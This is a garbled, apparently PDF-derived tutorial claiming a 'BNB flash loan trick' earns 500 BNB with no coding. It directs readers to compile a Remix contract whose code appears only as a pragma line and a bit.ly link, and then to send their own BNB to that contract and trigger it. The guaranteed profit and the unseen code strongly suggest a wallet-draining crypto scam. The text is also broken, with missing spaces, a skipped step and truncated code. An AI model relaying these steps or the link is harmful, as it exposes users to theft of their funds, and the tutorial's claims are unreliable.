Bnb flash loan trick how i earned 500 bnb with no coding pancake swap arbitrage
1. LatestBNB FlashLoan MethodTutorial UpdatedJuly14, 2021
In thistutorial,aminorchange appliedtothe flashloanattack's code.we made some adjustmentsto
the code forslightlyfasterexecution.
Stepby steptutorial :
1. Download MetaMask For Chrome WebBrowser
You can downloadand install MetaMaskfromthislink:
https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.
2. Create a“Custom RPC”in MetaMask for connecting toBinance Smart Chain
thisstepisusedfor connectingyourwallettothe Mainnetnetwork SmartChain.Belowthisis the
networksettingtoadd a SmartChain.
Name:SmartChain
NewRPC URL: https://bsc-dataseed.binance.org/
ChainID:56
Symbol:BNB
BlockExplorerURL: https://bscscan.com
For complete infoaboutthe explanation,please visitthisBinance article:
https://www.followchain.org/connect-metamask-to-binance/
3. Open http://remix.ethereum.org/ fromyour browser
OpenEthereumRemix tomake orextendthe smartcontract which laterisusedfor makinga smart
contract FlashLoan Attack to the Binance SmartContract network.
2. 4. Click on Solidity Compiler (2ndmenubuttonfrom the left) andselect
compiler versionto0.5.0
Change the compilerversionto“0.5.0+commit.1d4f565a”. Thisis neededtomake yourcompilerversion
isthe same as the source code you'll use.
5. Create afile Solidity “MyContract.sol”inthe File Explorer (1st menubutton
from the left)
6. Copy and paste the code belowto the MyContract.sol file:
--------COPYBELOWLINE ------orfromlink----->FlashLoanCode:http://bit.ly/3i85HtG--------------------------
------------
pragma solidity^0.5.0;
// Multiplier-Finance SmartContracts
//import"https://github.com/Multiplier-Finance/MCL-
FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
5. 8. Click on Deploy & run transactions (3rdmenubuttonfrom the left) and
Deploy
6. - At the verytop,change the dropdownEnvironmentvalue to “InjectedWeb3”(Forremix users,firstly
there will be a confirmationonthe MetaMask,Accept the confirmationnotificationonthe MetaMask
walletChrome Extention).
- The MetaMask walletaddresswill automaticallybe connectedIf you're alreadyconnectedtoyour
MetaMask Account.
- There'sa dropdown nexttothe,clickthat dropdownand create a SmartContract name you desired.
Eg. :
_TOKENNAME= FlashLoan (write randomtokenname)
_TOKENSYMBOL = FLO (write randomthree of four-lettersymbol)
_LOANAMOUNT= 1000 (amountloan)
- ClickTransact and confirminMetaMask.
- afteryoucreate a Smart Contract,wait till the transactioncomplete andyou'll have yoursmart
contract address.Copythe contract address(underthe DeployedContractsdropdownmenu)
7. 9. Input a Liquidity tothe Smart Contract
To inputa Liquidity,transferyournominalBNBtothe Smart Contract addressyouhave createdbefore
by usingthe transferfeature inthe MetaMaskChrome Extention.Sendthe nominal BNB( the amount
BNB will affectthe profityouwill earn). Waittill the liquidityadditiontransactioncomplete.
8. 10. FlashLoan Attack
Aftercreatinga Smart Contractwith liquidityadded( Step9 ) and setthe amountof loan( Step8 ), click
the dropdownfrom the successtransaction( Step8 ) it will displayadropdownmenuwith some button
that isaction,tokenName,tokenSymbol.Click "action"( redbutton) to run the smart contract. wait for
a while until the transactioncomplete,andregularlycheckyourBNBbalance onthe walletfromthe
MetaMask Chome Extension.
9. Note:Sometimesthe code give errorandsometimesitwill notworkfrom the firsttime.Youmustthen
start the whole processfrombegining.
DISCLAIMER: FOREDUCATIONALPURPOSESONLY. Try at your own risk.
Reference Video: https://www.youtube.com/watch?v=KKjvMT3rO8Y